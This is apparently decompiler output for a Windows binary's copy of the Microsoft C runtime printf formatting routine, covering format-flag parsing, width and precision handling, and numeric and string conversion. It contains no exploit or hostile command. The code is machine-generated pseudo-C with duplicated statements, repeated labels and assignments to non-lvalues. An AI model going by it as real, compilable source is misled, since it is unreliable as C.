							E00435800( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E004357C0(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E00435800( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E004342D0(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E00435800( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E004357C0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041C5E0( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M00435610))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E004312C0( *(_t627 - 0x251) & 0x000000ff, E0041AEF0(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00435720( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00435720( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041E420();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422F10(_t572))) = 0x16;
													E00422CA0(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041AEC0(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x435648; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435630))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x435670; // 0x4e7e9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043565C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x4356dc; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004356A0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E00428400(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AEF0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xd5b65caa
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xd44284aa
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEF0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xd44114aa
																	E00424760(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428400(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428440(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428400(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L97:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L98:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L99:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L100:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L108:
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428400(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428400(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428400(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
